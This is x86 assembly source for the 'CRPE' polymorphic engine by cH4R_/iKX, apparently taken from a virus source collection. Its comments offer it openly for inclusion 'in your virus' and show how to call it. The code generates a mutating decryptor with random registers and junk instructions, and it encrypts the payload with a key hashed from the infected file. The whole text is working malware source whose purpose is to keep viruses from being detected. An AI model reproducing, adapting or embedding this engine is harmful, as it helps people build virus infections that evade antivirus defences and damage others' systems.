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Virus.Win32.Real.inc
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Virus.Win32.Real.inc
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;-------------------------------------------------------------------------------
;
; CRPE - cH4R_ Real Polymorphic Engine
;
; by cH4R_/iKX
;
; Version: 1.5
;
;-------------------------------------------------------------------------------
; http://www.charvx.cjb.net
;-------------------------------------------------------------------------------
; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of
; work, and the author will NOT be responsible for damages to your machine or
; any other machine. If you will use it in your virus, just give me some
; credits, and i will be happy. ;*
;-------------------------------------------------------------------------------
;
; News:
;
; - New code layout (tabs :P)
; - Some optimizations for size and speed
; - Improved morphing & trash generation
; - A lot of bugs fixed, now CRPE is completely working !! :D
;
;-------------------------------------------------------------------------------
;
; CRPE in pratice:
;
; To use it in your virus u will have to include CRPE in your
; source (duh!). Before call the engine to make a poly decryptor,
; "YOU" will have to find a place to HASH, used obtain a the
; encryption/decryption key.
; Your code must allow 586 instructions and have about 100
; bytes of stack memory for CRPE.
;
; ------> Input (in STACK):
;
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"]
; Arg4 = [SIZE OF AREA TO HASH]
; Arg5 = [POINTER TO AREA THAT WE WILL HASH]
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
;
; ------> Output:
;
; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"
; * ALL other register will be restored
; ** Flags will be "corrupted"
;
; ------> Example (for dummy guys):
;
; In data section:
;
; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0)
;
; In code section:
;
; push 00401000h ; Area to hash, in infected file
; push edx ; Area to hash, now
; push 00000200h ; Size of area to hash
; push [ebp+Buf] ; Buffer
; push CODE_SIZE ; Size of area to encrypt
; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt
; call CRPE_make
;
; ------> The result will be something like:
;
; [SOME TRASH INSTRUCTIONS]
;
; [CALL POLY_DECRYPTOR]
;
; [ENCRYPTED DATA]
;
; [POLY_DECRYPTOR]
;
;-------------------------------------------------------------------------------
; -- User information to allocate memory --
; Max. size of decryptor in bytes
CRPE_max_dec equ 0A3h
; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR )
CRPE_max_total equ CRPE_max_dec+02Fh
; -----------------------------------------
; Things to save my time...
ofs equ offset
bye equ byte ptr
dwo equ dword ptr
wod equ word ptr
; Structure of PUSHAD
STACK_REG STRUCT
_EDI dd ?
_ESI dd ?
_EBP dd ?
_ESP dd ?
_EBX dd ?
_EDX dd ?
_ECX dd ?
_EAX dd ?
STACK_REG ENDS
; PUSHAD structure size
STACK_REGS equ SIZE STACK_REG
; Structure of stack used in CRPE
; Arguments
arg6 equ 18h
arg5 equ 14h
arg4 equ 10h
arg3 equ 0Ch
arg2 equ 08h
arg1 equ 04h
; SizeOf( PUSHAD + TEMPORARY MEMORY )
CRPE_stack equ CRPE_tmp+STACK_REGS
; Size of temporary memory
CRPE_tmp equ 0Fh
; Registers
R_EAX equ 0
R_ECX equ 1
R_EDX equ 2
R_EBX equ 3
R_ESP equ 4
R_EBP equ 5
R_ESI equ 6
R_EDI equ 7
; CRPE Signature
db "[CRPE]"
;-------------------------------------------------------------------------------
; Main procedure of CRPE
;-------------------------------------------------------------------------------
; Input:
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"]
; Arg4 = [SIZE OF AREA TO HASH]
; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW]
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
; Output:
; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes
CRPE_make proc
pushad ; Save registers...
; Set memory
sub esp,CRPE_tmp ; Reserve stack
mov ebp,esp ; EBP = Pointer to reserved stack
mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer
; Generate initial TRASH + CALL
call CRPE_tg ; Generate some trash..
push 1 ; We will generate more trash ?
call CRPE_rnd ;
xchg eax,ecx ; Choose: YES or NOT
jecxz @insert_call ;
call CRPE_tg ; Generate more trash...
@insert_call:
mov al,0E8h ; Generate: CALL opcode
stosb ; write...
mov eax,edi ; Generate: immed32
add eax,[esp+CRPE_stack+arg2] ;
sub eax,edi ;
stosd ; write...
; Copy
mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt
mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area
push edi ; Save EDI !
push ecx ; Save ECX !
cld ;
rep movsb ; Copy...
; Hash
mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash
mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash
push -1 ;
call CRPE_rnd ; EAX = Random number
mov [ebp+4],eax ; Save "MAGIC" in temporary memory
push eax ; Arg3
push ecx ; Arg2
push ebx ; Arg1
call CRPE_hash ; Hash...
; Encrypt
pop ecx ; Restore ECX !
pop edx ; Restore EDI in EDX !
sub ecx,4 ; \ Some fixes...
add edx,ecx ; /
@@enc_loop:
xor [edx],eax ; XOR [BUFFER], KEY
xor eax,ecx ; XOR KEY, COUNTER
dec edx
dec ecx ; DEC COUNTER
jns @@enc_loop ; encryption loop
; --- TRASH + PUSHAD ---
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ; Exchange: EAX <-> ECX
jecxz @no_trash ; ECX = 0 ? Dont put trash...
call CRPE_tg ; Trash gen. routine
@no_trash: ;
mov al,60h ; Generate: PUSHAD
stosb ; Write...
; --- HASH INIT ---
; Generate MOV (REG32_1),Buffer
push 3 ;
call CRPE_rnd ; Get random number between 0-3
mov [ebp],al ; Save AL in temporary memory
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
stosb ; Write..
mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer
stosd ; Write..
; Generate MOV (REG32_2),Size
@rnd_1: ;
push 3 ;
call CRPE_rnd ; Get random number between 0-3
cmp [ebp],al ; AL = First value of AL ?
jz @rnd_1 ; Randomize again...
mov [ebp+1],al ; Save AL in temporary memory
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
stosb ; Write..
mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer
stosd ; Write..
; Generate XOR/SUB (REG32_3),(REG32_3)
@rnd_2:
push 3 ;
call CRPE_rnd ; Get random number between 0-3
cmp [ebp],al ; AL = First value of AL ?
jz @rnd_2 ; Randomize again...
cmp [ebp+1],al ; AL = Second value of AL ?
jz @rnd_2 ; Randomize again...
mov [ebp+2],al ; Save AL in temporary memory...
mov bl,al ; BL = AL \
shl al,3 ; AL = AL * 8 > Optimized for speed
add al,bl ; AL+= BL /
or al,0C0h ; AL+= 0C0h (r32/r32)
mov ebx,eax ; EBX = EAX
push 1 ;
call CRPE_rnd ; Choose: SUB or XOR
or eax,eax ;
jz @@sub__ ;
@@xor__: ;
mov al,033h ; Generate: XOR
jmp @write0 ;
@@sub__: ;
mov al,02Bh ; Generate: SUB
@write0: ;
mov ah,bl ;
stosw ; Write..
; Generate: MOV (REG32_4),(REG32_3)
mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL)
xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL)
xor al,[ebp] ; XOR AL,[EBP] (First value of AL)
mov [ebp+3],al ; Save AL in temporary memory
shl al,3 ; AL = AL * 8
or al,[ebp+2] ; AL = AL + REG32_3
or al,0C0h ; AL+= 0C0h
xchg al,ah ; Exchange: AL <-> AH
mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode)
stosw ; Write...
mov [ebp+0Ch],edi ; Save current position in temp. memory
; --- HASH BYTE ---
; Generate: XOR (REG32_3),MAGIC
mov [ebp+8],edi ; Save current position in temp. memory
mov al,bye [ebp+2] ; AL = REG32_3
or eax,eax ; AL != 0 ?
jnz @@normal_xor ; Normal version of XOR...
or al,035h ; Optimized version for EAX
stosb ; Write...
jmp @@immed32_of_xor ; Jump to put an immed32
@@normal_xor: ;
or al,0F0h ; AL+= 0F0h
mov ah,081h ; AH = 081h
xchg ah,al ; Exchange: AH <-> AL
stosw ; Write...
@@immed32_of_xor: ;
mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory
stosd ; Write...
; Generate: REG32_3_LO8 ^= BUF[COUNTER-1]
mov al,032h ; XOR r8,mem opcode
stosb ; Write...
mov al,bye [ebp+2] ; AL = REG32_3
shl al,3 ; AL = AL * 8
add al,44h ; Identify R8,LOW of REG32_3
stosb ; Write...
mov al,[ebp] ; AL = REG32_1 \ Combination of registers
shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1]
add al,[ebp+1] ; AL+= REG32_2 /
mov ah,0FFh ; Generate: -1
stosw ; Write...
; Generate: ADD/OR (REG32_4),8
xor ecx,ecx ;
push 1 ;
call CRPE_rnd ; Choose: ADD or OR
xchg eax,ecx ;
jecxz @add_ ;
mov ah,8 ; Generate: OR
@add_: ; Generate: ADD
mov al,83h ;
or ah,[ebp+3] ; AH = REG32_4
or ah,0C0h ;
stosw ; Write...
mov al,8 ;
stosb ; Write...
mov [ebp+08h],edi ; Save current position in temp. memory
; --- HASH BIT ---
; TRASH or not
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ; Exchange: EAX <-> ECX
jecxz @no_trash2 ; ECX = 0 ? So, dont put trash
call CRPE_tg ; Put trash...
@no_trash2: ;
; Generate: SHL [REG32_3],1
mov al,0D1h ; SHL (REG),1 opcode
mov ah,[ebp+2] ; AH = REG32_3
or ah,0E0h ;
stosw ; Write..
; Generate: SBB [REG32_3], [REG32_4]
mov ah,[ebp+2] ; AH = REG32_3
shl ah,3 ; AH = AH * 8
add ah,[ebp+3] ; AH+= REG32_4
add ah,0C0h ;
mov al,01Bh ; AL = 01Bh (SBB opcode)
stosw ; Write..
; Generate: DEC [REG32_4]
mov al,[ebp+3] ; AL = REG32_4
add al,048h ; AL+= 048h (DEC REG opcode)
stosb ; Write..
; Generate: JNZ hash_bit (bit loop)
mov eax,[ebp+08h] ; EAX = hash_bit position
call CRPE_make_jnz ; Calcule the jump...
; Generate: DEC [REG32_2]
mov al,[ebp+1] ; AL = REG32_2
add al,048h ; AL+= 048h (DEC REG opcode)
stosb ; Write..
; Generate: JNZ hash_byte (byte loop)
mov eax,[ebp+0Ch] ; EAX = hash_bit position
call CRPE_make_jnz ; Calcule the jump...
; --- DECRYPTOR INIT ---
; Generate: REG32_1 = Encrypted area
mov al,08Bh ; AL = MOV opcode
stosb ; Write..
@rnd_3: ; Choose another REG32_1
push 3 ;
call CRPE_rnd ; Get random number between 0-7
cmp al,[ebp+2] ; AL = REG32_3 ?
jz @rnd_3 ; So try again..
cmp al,4 ; AL = ESP (4) ?
jz @rnd_3 ; So try again..
mov [ebp],al ; Save in temporary memory
shl al,3 ; AL = AL * 8
add al,044h ; AL+= 44h
stosb ; Write..
mov ax,2024h ; AX = 2024h (ESP+20h)
stosw ; Write..
; Generate: REG32_2 = Size of area - 4
@rnd_4: ; Choose another REG32_2
push 7 ;
call CRPE_rnd ; Get random number between 0-7
cmp al,[ebp+2] ; AL = REG32_3 ?
jz @rnd_4 ; So try again..
cmp al,[ebp] ; AL = REG32_1 ?
jz @rnd_4 ; So try again..
cmp al,4 ; AL = ESP (4) ?
jz @rnd_4 ; So try again..
mov [ebp+1],al ; Save in temporary memory
add al,0B8h ; AL+= B8h (MOV opcode)
stosb ; Write..
mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32
sub eax,4 ; EAX-= 4
stosd ; Write..
; Generate: ADD [REG32_1] , [REG32_2]
mov ax,0C003h ; AX = ADD REG,REG opcode
mov bl,[ebp] ; AL = REG32_1
shl bl,3 ; Second reg..
or bl,[ebp+1] ; REG32_2, first reg..
or ah,bl ;
stosw ; Write..
; --- DECRYPTOR LOOP ---
mov [ebp+04],edi ; Save current position in temporary mem.
; Generate: XOR [REG32_1],[REG32_3]
mov al,031h ; XOR [DS:REG],REG opcode
mov ah,[ebp+2] ; REG32_2
shl ah,3 ; First reg
add ah,[ebp] ; REG32_2, second reg
stosw ; Write..
; Generate: XOR [REG32_3],[REG32_2]
mov ah,[ebp+2] ; AH = REG32_3
shl ah,3 ; AH = AH * 8
add ah,0C0h ; AH+= C0h
or ah,[ebp+1] ; AH+= REG32_2
mov al,033h ; AL = 33h (XOR opcode)
stosw ; Write..
; Generate some trash or not
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ;
jecxz @no_trash3 ;
call CRPE_tg ;
@no_trash3:
; Generate: DEC [REG32_1] ;
mov al,[ebp] ; REG32_1
add al,048h ;
stosb ; write..
; Generate: DEC [REG32_2]
mov al,[ebp+1] ; REG32_2
add al,048h ;
stosb ; write..
; Generate: JNS DECRYPTOR_LOOP
mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position
call CRPE_make_jnz ; Calculate jump
mov bye [edi-2],079h ; JNS
; --- TRASH + POPAD ---
; TRASH or not ;
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ;
jecxz @no_trash4 ;
call CRPE_tg ;
@no_trash4: ;
; Generate: POPAD
mov al,061h ; AL = POPAD opcode
stosb ; Write..
; --- TRASH + RET ---
; TRASH or not
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ; Exchange: EAX <-> ECX
jecxz @no_trash5 ; ECX = 0 ? So, dont put trash
call CRPE_tg ; Put trash...
@no_trash5: ;
; Generate: RET ;
mov al,0C3h ; AL = 0C3h (RET opcode)
stosb ; Write...
; Calculate return value & Unset memory & Restores regs & Return
mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer
sub edi,eax
mov [esp+CRPE_tmp+STACK_REG._EAX],edi
add esp,CRPE_tmp
popad
ret 18h
; Common rotine to calculate SHORT jnz's
CRPE_make_jnz:
inc edi ;
inc edi ;
sub eax,edi ; EAX-= Current position
mov ah,075h ; AH = 75h (JNZ opcode)
xchg ah,al ; Exchange: AH <-> AL
mov [edi-2],ax ; Write..
ret ; Return..
CRPE_make endp
;-------------------------------------------------------------------------------
; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;)
;-------------------------------------------------------------------------------
; - Random number generator beetween 0-[Arg1]
; Input: Arg1 = Range
; Output: EAX = Random number
CRPE_rnd proc
pushad ; Save registers..
rdtsc ; CPU TIME-STAMP in EDX:EAX
xor edx,esp ;
xor eax,edx ;
mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1
inc ecx ;
jecxz CRPE_rnd_fim ;
xor edx,edx ; EDX = 0
div ecx ; EAX = EAX / Arg1
mov eax,edx ; EAX = Rest
CRPE_rnd_fim:
mov [esp+STACK_REG._EAX],eax
popad ; Restore registers..
ret 4h ; Return..
CRPE_rnd endp
; - Trash generator (max.: 21 bytes | min.: 2 bytes)
; Input: EDI = Buffer
; Output: EDI = Buffer (updated)
CRPE_tg proc
pushad ; Save registers
push 3 ;
call CRPE_rnd ; Get random number between 0-3
dec eax ;
js @trash1 ;
dec eax ;
jz @trash2 ;
dec eax ;
jz @trash3 ;
; Generate: PUSH (REG Y) / POP (REG Y)
@trash4:
push 7 ;
call CRPE_rnd ; Get random number between 0-7
add al,50h ; Generate PUSH (REG)
mov ah,al ;
add ah,8 ; Generate POP (REG)
stosw ; write..
push 1 ; Choose next trash routine...
call CRPE_rnd ;
xchg eax,ecx ;
jecxz @trash2 ;
; Generate: MOV (REG X),(REG X)
@trash3:
push 7 ;
call CRPE_rnd ; Get random number between 0-7
mov bl,al ; BL = AL \
shl al,3 ; AL = AL * 8 > Optimized for speed
add al,bl ; AL+= BL /
add al,0C0h ; AL+= 0C0h
mov ah,08Bh ; Generater MOV (REG X),(REG X)
xchg ah,al ; Exchange: AH <-> AL
stosw ; write...
push 1 ; Choose next trash routine...
call CRPE_rnd ;
xchg eax,ecx ;
jecxz @trash1 ;
; Generate: CMP/TEST (REG X),(REG Y)
@trash2:
push 03Fh ;
call CRPE_rnd ; Get random number between 0-63
xchg bl,al ; Exchange: BL <-> AL
add bl,0C0h ; BL+= 0C0h
push 1 ;
call CRPE_rnd ; Choose: CMP or TEST
or eax,eax ;
jz @@_cmp ;
@@_test: ;
mov al,085h ; Generate: TEST opcode
jmp @@write_trash_ ;
@@_cmp: ;
mov al,03Bh ; Generate: CMP opcode
@@write_trash_: ;
mov ah,bl ; AH = BL
stosw ; Write...
jmp @trash_end
; Generate: CALL (XXXX) | ESP-4
@trash1:
mov al,0E8h ;
stosb ; Generate CALL opcode
push 8 ;
call CRPE_rnd ; Get random number between 0-8
inc eax ; EAX++
stosd ; Generate imm32 of CALL
mov ecx,eax ; ECX = EAX (imm32)
@@repeat_trash: ;
push -1 ;
call CRPE_rnd ; Generate random number in EAX
stosb ; write al
loop @@repeat_trash ; (ECX) times...
push 1 ;
call CRPE_rnd ; Choose: ADD ESP,4 or
xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP
jecxz @@4dec_esp ;
mov al,83h ;
stosb ; Generate ADD ESP,4
mov ax,04C4h ;
stosw ;
jmp @trash_end ; No more trash...
@@4dec_esp: ;
mov eax,44444444h ; Generate INC ESP, 4 times
stosd ;
@trash_end:
mov [esp+STACK_REG._EDI],edi ; Update EDI...
popad ; Restore registers
ret ; Return...
CRPE_tg endp
; - Hashing
; Input:
; Arg1 = Pointer to data to hash
; Arg2 = Size of data to hash
; Arg3 = MAGIC
; Outrput:
; EAX = Hashed data
CRPE_hash proc
pushad ; Save regs.
mov edx,[esp+STACK_REGS+4] ; EDX = Buffer
mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter)
xor eax,eax ; EAX = 0 (reader / hasher)
mov ebx,eax ; EBX = 0 (bit counter)
@@@hash_byte: ;
xor eax,[esp+STACK_REGS+12] ;
xor al,[edx+ecx-1] ;
or bl,8 ;
@@@hash_bit: ;
shl eax,1 ;
sbb eax,ebx ;
dec ebx ;
jnz @@@hash_bit ; EBX != 0 ? Go to the next bit...
dec ecx ;
jnz @@@hash_byte ; ECX != 0 ? Go to the next byte...
mov [esp+STACK_REG._EAX],eax ;
popad ; Restore regs.
ret 0Ch ; Return...
CRPE_hash endp